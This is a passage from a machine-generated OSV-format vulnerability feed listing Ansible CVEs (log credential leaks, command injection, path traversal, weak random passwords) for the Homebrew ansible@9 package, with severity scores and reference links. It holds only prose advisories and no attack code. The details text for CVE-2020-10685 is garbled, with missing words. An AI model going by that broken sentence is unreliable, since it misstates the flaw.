cosystem":"Debian","name":"ansible","key":"Debian/ansible"},{"strategy":"distro","ecosystem":"PyPI","name":"ansible","subject_version":"9.13.0","key":"upstream:pkg:pypi/ansible@9.13.0"}]},"summary":"Exposure of Sensitive Information to an Unauthorized Actor in ansible","details":"A flaw was found in ansible 2.8.0 before 2.8.4. Fields managing sensitive data should be set as such by no_log feature. Some of these fields in GCP modules are not set properly. service_account_contents() which is common class for all gcp modules is not setting no_log to True. Any sensitive data managed by that function would be leak as an output when running ansible playbooks.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N"},{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N"}],"references":[{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2019-10217"},{"type":"WEB","url":"https://github.com/ansible/ansible/issues/56269"},{"type":"WEB","url":"https://github.com/ansible/ansible/pull/59427"},{"type":"WEB","url":"https://github.com/ansible/ansible/commit/c1ee1f142db1e669b710a65147ea32be47a91519"},{"type":"WEB","url":"https://bugzilla.redhat.com/show_bug.cgi?id=CVE-2019-10217"},{"type":"ADVISORY","url":"https://github.com/advisories/GHSA-p75j-wc34-527c"},{"type":"PACKAGE","url":"https://github.com/ansible/ansible"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/ansible/PYSEC-2019-3.yaml"},{"type":"WEB","url":"http://lists.opensuse.org/opensuse-security-announce/2020-04/msg00021.html"},{"type":"WEB","url":"http://lists.opensuse.org/opensuse-security-announce/2020-04/msg00026.html"}]},{"schema_version":"1.7.3","id":"BREW-ansible@9-CVE-2019-14846","published":"2026-08-13T16:35:22Z","modified":"2026-09-09T23:41:06Z","upstream":["GHSA-pm48-cvv2-29q5","CVE-2019-14846","PYSEC-2019-4"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible@9","purl":"pkg:brew/ansible%409"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"9.13.0_4"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"2.8.6"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"ansible","subject_version":"9.13.0","key":"pkg:pypi/ansible@9.13.0"},{"strategy":"distro","ecosystem":"Debian","name":"ansible","key":"Debian/ansible"},{"strategy":"distro","ecosystem":"PyPI","name":"ansible","subject_version":"9.13.0","key":"upstream:pkg:pypi/ansible@9.13.0"},{"strategy":"distro","ecosystem":"Ubuntu","name":"ansible","key":"Ubuntu/ansible"}]},"summary":"Ansible Uses Plugins That Disclose Credentials","details":"Ansible, all ansible_engine-2.x versions and ansible_engine-3.x up to ansible_engine-3.5, was logging at the DEBUG level which lead to a disclosure of credentials if a plugin used a library that logged credentials at the DEBUG level. This flaw does not affect Ansible modules, as those are executed in a separate process.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H"},{"type":"CVSS_V4","score":"CVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N"}],"references":[{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2019-14846"},{"type":"WEB","url":"https://github.com/ansible/ansible/pull/63366"},{"type":"WEB","url":"https://github.com/ansible/ansible/commit/90e74dd2600e5cc42dd9b4f4656f3d651c4ce5c4"},{"type":"WEB","url":"https://github.com/ansible/ansible/commit/cb0f535a8b254a2daf69cd067e842fabb2993034"},{"type":"WEB","url":"https://github.com/ansible/ansible/commit/d961f676c01023a6a21503df16ba551a550e515b"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2019:3201"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2019:3202"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2019:3203"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2019:3207"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2020:0756"},{"type":"WEB","url":"https://bugzilla.redhat.com/show_bug.cgi?id=CVE-2019-14846"},{"type":"PACKAGE","url":"https://github.com/ansible/ansible"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/ansible/PYSEC-2019-4.yaml"},{"type":"WEB","url":"https://lists.debian.org/debian-lts-announce/2020/05/msg00005.html"},{"type":"WEB","url":"https://lists.debian.org/debian-lts-announce/2021/01/msg00023.html"},{"type":"WEB","url":"https://www.debian.org/security/2021/dsa-4950"},{"type":"WEB","url":"http://lists.opensuse.org/opensuse-security-announce/2020-04/msg00021.html"},{"type":"WEB","url":"http://lists.opensuse.org/opensuse-security-announce/2020-04/msg00026.html"}]},{"schema_version":"1.7.3","id":"BREW-ansible@9-CVE-2019-14858","published":"2026-08-13T16:35:22Z","modified":"2026-09-09T23:41:06Z","upstream":["GHSA-h653-95qw-h2mp","CVE-2019-14858","PYSEC-2019-171"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible@9","purl":"pkg:brew/ansible%409"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"9.13.0_4"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"2.9.0rc4"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"ansible","subject_version":"9.13.0","key":"pkg:pypi/ansible@9.13.0"},{"strategy":"distro","ecosystem":"Debian","name":"ansible","key":"Debian/ansible"},{"strategy":"distro","ecosystem":"PyPI","name":"ansible","subject_version":"9.13.0","key":"upstream:pkg:pypi/ansible@9.13.0"},{"strategy":"distro","ecosystem":"Ubuntu","name":"ansible","key":"Ubuntu/ansible"}]},"summary":"Ansible leaks sensitive information to logs when told not to","details":"A vulnerability was found in Ansible engine 2.x up to 2.8 and Ansible tower 3.x up to 3.5. When a module has an argument_spec with sub parameters marked as `no_log`, passing an invalid parameter name to the module will cause the task to fail before the `no_log` options in the sub parameters are processed. As a result, data in the sub parameter fields will not be masked and will be displayed if Ansible is run with increased verbosity and present in the module invocation arguments for the task.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N"},{"type":"CVSS_V4","score":"CVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N"}],"references":[{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2019-14858"},{"type":"WEB","url":"https://github.com/ansible/ansible/pull/63405"},{"type":"WEB","url":"https://github.com/ansible/ansible/commit/0fd656e9964a91f2e8b1e9bbf78c74661ab9d37b"},{"type":"WEB","url":"https://github.com/ansible/ansible/commit/3dfb8e81bb5f776a6b00c7a90dd087e85b71f8bb"},{"type":"WEB","url":"https://github.com/ansible/ansible/commit/87f8d77d70476454f7fe2381bd363a329ce4266c"},{"type":"WEB","url":"https://github.com/ansible/ansible/commit/f610ed3a4eb87eb557200606279796921fa9b722"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2019:3201"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2019:3202"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2019:3203"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2019:3207"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2020:0756"},{"type":"WEB","url":"https://bugzilla.redhat.com/show_bug.cgi?id=CVE-2019-14858"},{"type":"PACKAGE","url":"https://github.com/ansible/ansible"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/ansible/PYSEC-2019-171.yaml"},{"type":"WEB","url":"http://lists.opensuse.org/opensuse-security-announce/2020-04/msg00021.html"},{"type":"WEB","url":"http://lists.opensuse.org/opensuse-security-announce/2020-04/msg00026.html"}]},{"schema_version":"1.7.3","id":"BREW-ansible@9-CVE-2019-14864","published":"2026-08-13T16:35:22Z","modified":"2026-09-09T23:41:06Z","upstream":["GHSA-3m93-m4q6-mc6v","CVE-2019-14864","PYSEC-2020-160"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible@9","purl":"pkg:brew/ansible%409"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"9.13.0_4"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"2.9.1"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"ansible","subject_version":"9.13.0","key":"pkg:pypi/ansible@9.13.0"},{"strategy":"distro","ecosystem":"Debian","name":"ansible","key":"Debian/ansible"},{"strategy":"distro","ecosystem":"PyPI","name":"ansible","subject_version":"9.13.0","key":"upstream:pkg:pypi/ansible@9.13.0"}]},"summary":"Inclusion of Sensitive Information in Log Files and Improper Output Neutralization for Logs in Ansible","details":"Ansible, versions 2.9.x before 2.9.1, 2.8.x before 2.8.7 and Ansible versions 2.7.x before 2.7.15, is not respecting the flag no_log set it to True when Sumologic and Splunk callback plugins are used send tasks results events to collectors. This would discloses and collects any sensitive data.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N"}],"references":[{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2019-14864"},{"type":"WEB","url":"https://github.com/ansible/ansible/issues/63522"},{"type":"WEB","url":"https://github.com/ansible/ansible/pull/63527"},{"type":"WEB","url":"https://github.com/ansible/ansible/pull/64273"},{"type":"WEB","url":"https://github.com/ansible/ansible/pull/64274"},{"type":"WEB","url":"https://github.com/ansible/ansible/pull/64748"},{"type":"WEB","url":"https://github.com/ansible/ansible/commit/050f92f96054bf59e283fdec9972323c2ed00348"},{"type":"WEB","url":"https://github.com/ansible/ansible/commit/75288a89d0053d6df35c90863fb6c9542d89850e"},{"type":"WEB","url":"https://github.com/ansible/ansible/commit/a0ec2976b2716cdecdd7a8f416d96406acd79b7c"},{"type":"WEB","url":"https://github.com/ansible/ansible/commit/c76e074e4c71c7621a1ca8159261c1959b5287af"},{"type":"WEB","url":"https://bugzilla.redhat.com/show_bug.cgi?id=CVE-2019-14864"},{"type":"ADVISORY","url":"https://github.com/advisories/GHSA-3m93-m4q6-mc6v"},{"type":"PACKAGE","url":"https://github.com/ansible/ansible"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/ansible/PYSEC-2020-160.yaml"},{"type":"WEB","url":"https://www.debian.org/security/2021/dsa-4950"},{"type":"WEB","url":"http://lists.opensuse.org/opensuse-security-announce/2020-04/msg00021.html"},{"type":"WEB","url":"http://lists.opensuse.org/opensuse-security-announce/2020-04/msg00026.html"}]},{"schema_version":"1.7.3","id":"BREW-ansible@9-CVE-2019-14904","published":"2026-08-13T16:35:22Z","modified":"2026-09-09T23:41:06Z","upstream":["GHSA-gwr8-5j83-483c","CVE-2019-14904","PYSEC-2020-161"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible@9","purl":"pkg:brew/ansible%409"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"9.13.0_4"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"2.9.3"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"ansible","subject_version":"9.13.0","key":"pkg:pypi/ansible@9.13.0"},{"strategy":"distro","ecosystem":"Debian","name":"ansible","key":"Debian/ansible"},{"strategy":"distro","ecosystem":"PyPI","name":"ansible","subject_version":"9.13.0","key":"upstream:pkg:pypi/ansible@9.13.0"},{"strategy":"distro","ecosystem":"Ubuntu","name":"ansible","key":"Ubuntu/ansible"}]},"summary":"OS Command Injection and Improper Input Validation in ansible","details":"A flaw was found in the solaris_zone module from the Ansible Community modules. When setting the name for the zone on the Solaris host, the zone name is checked by listing the process with the 'ps' bare command on the remote machine. An attacker could take advantage of this flaw by crafting the name of the zone and executing arbitrary commands in the remote host. Ansible Engine 2.7.15, 2.8.7, and 2.9.2 as well as previous versions are affected.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:C/C:H/I:L/A:L"},{"type":"CVSS_V4","score":"CVSS:4.0/AV:L/AC:L/AT:N/PR:H/UI:N/VC:H/VI:L/VA:L/SC:H/SI:L/SA:L"}],"references":[{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2019-14904"},{"type":"WEB","url":"https://github.com/ansible/ansible/pull/65686"},{"type":"WEB","url":"https://github.com/ansible/ansible/commit/589a415f887b6f2bb65cd07fe6b2e9d0a8156b69"},{"type":"WEB","url":"https://github.com/ansible/ansible/commit/6a86650109b8654f5898369e45d3857624edf907"},{"type":"WEB","url":"https://github.com/ansible/ansible/commit/a1b0f72c98b4b2afaab8aafa255e82c2075049c8"},{"type":"WEB","url":"https://bugzilla.redhat.com/show_bug.cgi?id=1776944"},{"type":"ADVISORY","url":"https://github.com/advisories/GHSA-gwr8-5j83-483c"},{"type":"PACKAGE","url":"https://github.com/ansible/ansible"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/ansible/PYSEC-2020-161.yaml"},{"type":"WEB","url":"https://lists.debian.org/debian-lts-announce/2021/01/msg00023.html"},{"type":"WEB","url":"https://www.debian.org/security/2021/dsa-4950"}]},{"schema_version":"1.7.3","id":"BREW-ansible@9-CVE-2019-14905","published":"2026-08-13T16:35:22Z","modified":"2026-09-09T23:41:06Z","upstream":["GHSA-frxj-5j27-f8rf","CVE-2019-14905","PYSEC-2020-206"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible@9","purl":"pkg:brew/ansible%409"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"9.13.0_4"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"2.9.3"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"ansible","subject_version":"9.13.0","key":"pkg:pypi/ansible@9.13.0"},{"strategy":"distro","ecosystem":"Debian","name":"ansible","key":"Debian/ansible"},{"strategy":"distro","ecosystem":"PyPI","name":"ansible","subject_version":"9.13.0","key":"upstream:pkg:pypi/ansible@9.13.0"},{"strategy":"distro","ecosystem":"Ubuntu","name":"ansible","key":"Ubuntu/ansible"}]},"summary":"Externally Controlled Reference to a Resource in Another Sphere, Improper Input Validation, and External Control of File Name or Path in Ansible","details":"A vulnerability was found in Ansible Engine versions 2.9.x before 2.9.3, 2.8.x before 2.8.8, 2.7.x before 2.7.16 and earlier, where in Ansible's nxos_file_copy module can be used to copy files to a flash or bootflash on NXOS devices. Malicious code could craft the filename parameter to perform OS command injections. This could result in a loss of confidentiality of the system among other issues.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:U/C:H/I:L/A:L"},{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:H/VI:L/VA:L/SC:N/SI:N/SA:N"}],"references":[{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2019-14905"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2020:0216"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2020:0218"},{"type":"WEB","url":"https://bugzilla.redhat.com/show_bug.cgi?id=CVE-2019-14905"},{"type":"ADVISORY","url":"https://github.com/advisories/GHSA-frxj-5j27-f8rf"},{"type":"PACKAGE","url":"https://github.com/ansible/ansible"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/ansible/PYSEC-2020-206.yaml"},{"type":"WEB","url":"https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/5BNCYPQ4BY5QHBCJOAOPANB5FHATW2BR"},{"type":"WEB","url":"http://lists.opensuse.org/opensuse-security-announce/2020-04/msg00021.html"},{"type":"WEB","url":"http://lists.opensuse.org/opensuse-security-announce/2020-04/msg00026.html"}]},{"schema_version":"1.7.3","id":"BREW-ansible@9-CVE-2019-3828","published":"2026-08-13T16:35:22Z","modified":"2026-09-09T23:41:06Z","upstream":["GHSA-74vq-h4q8-x6jv","CVE-2019-3828","PYSEC-2019-5"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible@9","purl":"pkg:brew/ansible%409"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"9.13.0_4"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"2.7.8"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"ansible","subject_version":"9.13.0","key":"pkg:pypi/ansible@9.13.0"},{"strategy":"distro","ecosystem":"Debian","name":"ansible","key":"Debian/ansible"},{"strategy":"distro","ecosystem":"PyPI","name":"ansible","subject_version":"9.13.0","key":"upstream:pkg:pypi/ansible@9.13.0"},{"strategy":"distro","ecosystem":"Ubuntu","name":"ansible","key":"Ubuntu/ansible"}]},"summary":"Ansible Path Traversal vulnerability","details":"Ansible fetch module before versions 2.5.15, 2.6.14, 2.7.8 has a path traversal vulnerability which allows copying and overwriting files outside of the specified destination in the local ansible controller host, by not restricting an absolute path.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:L/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:N"},{"type":"CVSS_V4","score":"CVSS:4.0/AV:L/AC:L/AT:N/PR:H/UI:P/VC:L/VI:L/VA:N/SC:L/SI:L/SA:N"}],"references":[{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2019-3828"},{"type":"WEB","url":"https://github.com/ansible/ansible/pull/52133"},{"type":"WEB","url":"https://github.com/ansible/ansible/commit/396a2f74717477d80600450e2b7e45349d7b5110"},{"type":"WEB","url":"https://github.com/ansible/ansible/commit/4be3215d2f9f84ca283895879f0c6ce1ed7dd333"},{"type":"WEB","url":"https://github.com/ansible/ansible/commit/f3edc091523fbe301926b7a0db25fbbd96940d93"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2019:3744"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2019:3789"},{"type":"WEB","url":"https://bugzilla.redhat.com/show_bug.cgi?id=CVE-2019-3828"},{"type":"ADVISORY","url":"https://github.com/advisories/GHSA-74vq-h4q8-x6jv"},{"type":"PACKAGE","url":"https://github.com/ansible/ansible"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/ansible/PYSEC-2019-5.yaml"},{"type":"WEB","url":"https://usn.ubuntu.com/4072-1"},{"type":"WEB","url":"http://lists.opensuse.org/opensuse-security-announce/2019-04/msg00021.html"},{"type":"WEB","url":"http://lists.opensuse.org/opensuse-security-announce/2019-06/msg00077.html"},{"type":"WEB","url":"http://lists.opensuse.org/opensuse-security-announce/2019-08/msg00020.html"},{"type":"WEB","url":"http://packetstormsecurity.com/files/172837/Ansible-Fetch-Path-Traversal.html"}]},{"schema_version":"1.7.3","id":"BREW-ansible@9-CVE-2020-10684","published":"2026-08-13T16:35:22Z","modified":"2026-09-09T23:41:06Z","upstream":["GHSA-p62g-jhg6-v3rq","CVE-2020-10684","PYSEC-2020-207"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible@9","purl":"pkg:brew/ansible%409"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"9.13.0_4"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"2.9.7"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"ansible","subject_version":"9.13.0","key":"pkg:pypi/ansible@9.13.0"},{"strategy":"distro","ecosystem":"Debian","name":"ansible","key":"Debian/ansible"},{"strategy":"distro","ecosystem":"PyPI","name":"ansible","subject_version":"9.13.0","key":"upstream:pkg:pypi/ansible@9.13.0"},{"strategy":"distro","ecosystem":"Ubuntu","name":"ansible","key":"Ubuntu/ansible"}]},"summary":"Code Injection, Race Condition, and Execution with Unnecessary Privileges in Ansible","details":"A flaw was found in Ansible Engine, all versions 2.7.x, 2.8.x and 2.9.x prior to 2.7.17, 2.8.11, and 2.9.7 respectively, when using ansible_facts as a subkey of itself and promoting it to a variable when inject is enabled, overwriting the ansible_facts after the clean. An attacker could take advantage of this by altering the ansible_facts, such as ansible_hosts, users and any other key data which would lead into privilege escalation or code injection.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H"},{"type":"CVSS_V4","score":"CVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:N/VC:N/VI:H/VA:H/SC:N/SI:N/SA:N"}],"references":[{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2020-10684"},{"type":"WEB","url":"https://github.com/ansible/ansible/commit/0b4788a71fc7d24ffa957a94ee5e23d6a9733ab0"},{"type":"WEB","url":"https://github.com/ansible/ansible/commit/1d0d2645eed36ac4e17052ab4eacf240132d96fb"},{"type":"WEB","url":"https://github.com/ansible/ansible/commit/5eabf7bb93c9bfc375b806a2b1f623d650cddc2b"},{"type":"WEB","url":"https://github.com/ansible/ansible/commit/a9d2ceafe429171c0e2ad007058b88bae57c74ce"},{"type":"WEB","url":"https://bugzilla.redhat.com/show_bug.cgi?id=CVE-2020-10684"},{"type":"ADVISORY","url":"https://github.com/advisories/GHSA-p62g-jhg6-v3rq"},{"type":"PACKAGE","url":"https://github.com/ansible/ansible"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/ansible/PYSEC-2020-207.yaml"},{"type":"WEB","url":"https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/DKPA4KC3OJSUFASUYMG66HKJE7ADNGFW"},{"type":"WEB","url":"https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/MRRYUU5ZBLPBXCYG6CFP35D64NP2UB2S"},{"type":"WEB","url":"https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/WQVOQD4VAIXXTVQAJKTN7NUGTJFE2PCB"},{"type":"WEB","url":"https://security.gentoo.org/glsa/202006-11"},{"type":"WEB","url":"https://www.debian.org/security/2021/dsa-4950"}]},{"schema_version":"1.7.3","id":"BREW-ansible@9-CVE-2020-10685","published":"2026-08-13T16:35:22Z","modified":"2026-09-09T23:41:06Z","upstream":["GHSA-77g3-3j5w-64w4","CVE-2020-10685","PYSEC-2020-1"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible@9","purl":"pkg:brew/ansible%409"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"9.13.0_4"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"2.9.7"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"ansible","subject_version":"9.13.0","key":"pkg:pypi/ansible@9.13.0"},{"strategy":"distro","ecosystem":"Debian","name":"ansible","key":"Debian/ansible"},{"strategy":"distro","ecosystem":"PyPI","name":"ansible","subject_version":"9.13.0","key":"upstream:pkg:pypi/ansible@9.13.0"},{"strategy":"distro","ecosystem":"Ubuntu","name":"ansible","key":"Ubuntu/ansible"}]},"summary":"Exposure of Resource to Wrong Sphere and Insecure Temporary File in Ansible","details":"A flaw was found in Ansible Engine affecting Ansible Engine versions 2.7.x before 2.7.17 and 2.8.x before 2.8.11 and 2.9.x before 2.9.7 as well as Ansible Tower before and including versions 3.4.5 and 3.5.5 and 3.6.3 when using modules which decrypts vault files such as assemble, script, unarchive, win_copy, aws_s3 or copy modules. The temporary directory is created in /tmp leaves the s ts unencrypted. On Operating Systems which /tmp is not a tmpfs but part of the root partition, the directory is only cleared on boot and the decryp emains when the host is switched off. The system will be vulnerable when the system is not running. So decrypted data must be cleared as soon as possible and the data which normally is encrypted ble.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N"},{"type":"CVSS_V4","score":"CVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N"}],"references":[{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2020-10685"},{"type":"WEB","url":"https://github.com/ansible/ansible/pull/68433"},{"type":"WEB","url":"https://github.com/ansible/ansible/commit/4e1fe80e681fa466626e9dea53efe6b0253ea1b2"},{"type":"WEB","url":"https://github.com/ansible/ansible/commit/51d2514753544a9d58cd7524e27e696b2c944fb5"},{"type":"WEB","url":"https://github.com/ansible/ansible/commit/e1273b6faf036ed84e4f4edee85b888a4e256aee"},{"type":"WEB","url":"https://bugzilla.redhat.com/show_bug.cgi?id=CVE-2020-10685"},{"type":"ADVISORY","url":"https://github.com/advisories/GHSA-77g3-3j5w-64w4"},{"type":"PACKAGE","url":"https://github.com/ansible/ansible"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/ansible/PYSEC-2020-1.yaml"},{"type":"WEB","url":"https://security.gentoo.org/glsa/202006-11"},{"type":"WEB","url":"https://www.debian.org/security/2021/dsa-4950"}]},{"schema_version":"1.7.3","id":"BREW-ansible@9-CVE-2020-10691","published":"2026-08-13T16:35:22Z","modified":"2026-09-09T23:41:06Z","upstream":["GHSA-3c67-gc48-983w","CVE-2020-10691","PYSEC-2020-2"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible@9","purl":"pkg:brew/ansible%409"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"9.13.0_4"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"2.9.7"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"ansible","subject_version":"9.13.0","key":"pkg:pypi/ansible@9.13.0"},{"strategy":"distro","ecosystem":"Debian","name":"ansible","key":"Debian/ansible"},{"strategy":"distro","ecosystem":"PyPI","name":"ansible","subject_version":"9.13.0","key":"upstream:pkg:pypi/ansible@9.13.0"},{"strategy":"distro","ecosystem":"Ubuntu","name":"ansible","key":"Ubuntu/ansible"}]},"summary":"Path Traversal in Ansible","details":"An archive traversal flaw was found in all ansible-engine versions 2.9.x prior to 2.9.7, when running `ansible-galaxy collection` install. When extracting a collection .tar.gz file, the directory is created without sanitizing the filename. An attacker could take advantage to overwrite any file within the system.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:C/C:N/I:L/A:L"},{"type":"CVSS_V4","score":"CVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:N/VC:N/VI:L/VA:L/SC:N/SI:N/SA:N"}],"references":[{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2020-10691"},{"type":"WEB","url":"https://github.com/ansible/ansible/pull/68596"},{"type":"WEB","url":"https://github.com/ansible/ansible/commit/b2551bb6943eec078066aa3a923e0bb3ed85abe8"},{"type":"WEB","url":"https://bugzilla.redhat.com/show_bug.cgi?id=CVE-2020-10691"},{"type":"ADVISORY","url":"https://github.com/advisories/GHSA-3c67-gc48-983w"},{"type":"PACKAGE","url":"https://github.com/ansible/ansible"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/ansible/PYSEC-2020-2.yaml"}]},{"schema_version":"1.7.3","id":"BREW-ansible@9-CVE-2020-10729","published":"2026-08-13T16:35:22Z","modified":"2026-09-09T23:41:06Z","upstream":["GHSA-r6h7-5pq2-j77h","CVE-2020-10729","PYSEC-2021-105"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible@9","purl":"pkg:brew/ansible%409"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"9.13.0_4"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"2.9.6"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"ansible","subject_version":"9.13.0","key":"pkg:pypi/ansible@9.13.0"},{"strategy":"distro","ecosystem":"Debian","name":"ansible","key":"Debian/ansible"},{"strategy":"distro","ecosystem":"PyPI","name":"ansible","subject_version":"9.13.0","key":"upstream:pkg:pypi/ansible@9.13.0"},{"strategy":"distro","ecosystem":"Ubuntu","name":"ansible","key":"Ubuntu/ansible"}]},"summary":"Insufficiently random values in Ansible","details":"A flaw was found in the use of insufficiently random values in Ansible. Two random password lookups of the same length generate the equal value as the template caching action for the same file since no re-evaluation happens. The highest threat from this vulnerability would be that all passwords are exposed at once for the file. This flaw affects Ansible Engine versions before 